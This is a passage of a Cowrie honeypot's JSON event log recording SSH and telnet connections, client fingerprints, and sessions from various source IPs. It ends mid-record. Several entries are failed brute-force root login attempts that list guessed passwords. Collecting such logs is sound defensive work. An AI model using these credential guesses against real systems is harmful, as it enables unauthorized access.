{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:53.665677Z","src_ip":"117.121.214.50","session":"ad953f870182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:53.926530Z","src_ip":"117.121.214.50","session":"ad953f870182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53274,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81eaf8dbbf4","protocol":"telnet","message":"New connection: 152.42.224.71:53274 (10.17.0.5:23) [session: c81eaf8dbbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:54.039882Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab7d7fa11628","protocol":"ssh","message":"New connection: 165.154.6.86:50864 (10.17.0.5:22) [session: ab7d7fa11628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:54.481424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:54.485969Z","src_ip":"165.154.6.86","session":"ab7d7fa11628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:54.696635Z","src_ip":"165.154.6.86","session":"ab7d7fa11628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:55.005851Z","src_ip":"117.121.214.50","session":"ad953f870182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.602396965026855,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:55.332886Z","src_ip":"152.42.224.71","session":"1d6220d00c2c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:55.567670Z","src_ip":"165.154.6.86","session":"ab7d7fa11628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:56.270946Z","src_ip":"117.121.214.50","session":"ad953f870182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:56.780935Z","src_ip":"165.154.6.86","session":"ab7d7fa11628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.31866192817688,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:00.904413Z","src_ip":"152.42.224.71","session":"ad679c7f7b50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.6590211391449,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:02.711450Z","src_ip":"152.42.224.71","session":"49a480973f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59646,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c5f36a81f13","protocol":"ssh","message":"New connection: 38.93.206.2:59646 (10.17.0.5:22) [session: 2c5f36a81f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:08.081339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:08.086700Z","src_ip":"38.93.206.2","session":"2c5f36a81f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:08.160005Z","src_ip":"38.93.206.2","session":"2c5f36a81f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinochka","message":"login attempt [root/alinochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:08.321470Z","src_ip":"38.93.206.2","session":"2c5f36a81f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:09.675213Z","src_ip":"38.93.206.2","session":"2c5f36a81f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e0f608e067","protocol":"telnet","message":"New connection: 152.42.224.71:54748 (10.17.0.5:23) [session: 63e0f608e067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:09.857111Z"}
{"eventid":"cowrie.session.closed","duration":42.30723571777344,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:09.912581Z","src_ip":"152.42.224.71","session":"9c256e0c98b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.97826194763184,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:11.483244Z","src_ip":"152.42.224.71","session":"d1747a1835af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54764,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd212ba9e52a","protocol":"telnet","message":"New connection: 152.42.224.71:54764 (10.17.0.5:23) [session: bd212ba9e52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:13.432836Z"}
{"eventid":"cowrie.session.closed","duration":40.28108072280884,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:17.527340Z","src_ip":"152.42.224.71","session":"3ac963175746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e340b823fb7b","protocol":"telnet","message":"New connection: 152.42.224.71:40620 (10.17.0.5:23) [session: e340b823fb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:22.435584Z"}
{"eventid":"cowrie.session.closed","duration":41.12699484825134,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:30.062446Z","src_ip":"152.42.224.71","session":"e6a01377cf28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f65f67f60f1","protocol":"telnet","message":"New connection: 152.42.224.71:37604 (10.17.0.5:23) [session: 3f65f67f60f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:31.729768Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"508f9886fdea","protocol":"telnet","message":"New connection: 152.42.224.71:40546 (10.17.0.5:23) [session: 508f9886fdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:42.485291Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":59728,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4b7e7e71dd","protocol":"ssh","message":"New connection: 166.1.144.134:59728 (10.17.0.5:22) [session: bc4b7e7e71dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:42.500785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:42.520800Z","src_ip":"166.1.144.134","session":"bc4b7e7e71dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:42.618655Z","src_ip":"166.1.144.134","session":"bc4b7e7e71dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"762be97cf783","protocol":"telnet","message":"New connection: 152.42.224.71:40556 (10.17.0.5:23) [session: 762be97cf783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:42.974876Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"autoexec","message":"login attempt [root/autoexec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:43.036408Z","src_ip":"166.1.144.134","session":"bc4b7e7e71dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:44.143599Z","src_ip":"166.1.144.134","session":"bc4b7e7e71dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45006,"dst_ip":"10.17.0.5","dst_port":23,"session":"db146dce615e","protocol":"telnet","message":"New connection: 152.42.224.71:45006 (10.17.0.5:23) [session: db146dce615e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:48.208770Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":16400,"dst_ip":"10.17.0.5","dst_port":22,"session":"29547abecea6","protocol":"ssh","message":"New connection: 165.154.227.158:16400 (10.17.0.5:22) [session: 29547abecea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:51.957241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:51.962357Z","src_ip":"165.154.227.158","session":"29547abecea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:52.183171Z","src_ip":"165.154.227.158","session":"29547abecea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45022,"dst_ip":"10.17.0.5","dst_port":23,"session":"b529902cba1a","protocol":"telnet","message":"New connection: 152.42.224.71:45022 (10.17.0.5:23) [session: b529902cba1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:52.931366Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"bardan","message":"login attempt [root/bardan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:53.093799Z","src_ip":"165.154.227.158","session":"29547abecea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:54.316931Z","src_ip":"165.154.227.158","session":"29547abecea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.472459554672241,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:55.957654Z","src_ip":"152.42.224.71","session":"508f9886fdea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.51857566833496,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:58.375556Z","src_ip":"152.42.224.71","session":"63e0f608e067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":58870,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29d754da0c1","protocol":"ssh","message":"New connection: 52.236.56.129:58870 (10.17.0.5:22) [session: f29d754da0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:58.496751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:58.502739Z","src_ip":"52.236.56.129","session":"f29d754da0c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:58.570380Z","src_ip":"52.236.56.129","session":"f29d754da0c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136363","message":"login attempt [root/136363] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:58.871419Z","src_ip":"52.236.56.129","session":"f29d754da0c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:17:59.941466Z","src_ip":"52.236.56.129","session":"f29d754da0c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f48b5253bff","protocol":"telnet","message":"New connection: 152.42.224.71:54850 (10.17.0.5:23) [session: 1f48b5253bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:01.521937Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":51684,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dccb862591a","protocol":"ssh","message":"New connection: 43.135.139.74:51684 (10.17.0.5:22) [session: 6dccb862591a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:04.243895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:18:04.252504Z","src_ip":"43.135.139.74","session":"6dccb862591a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 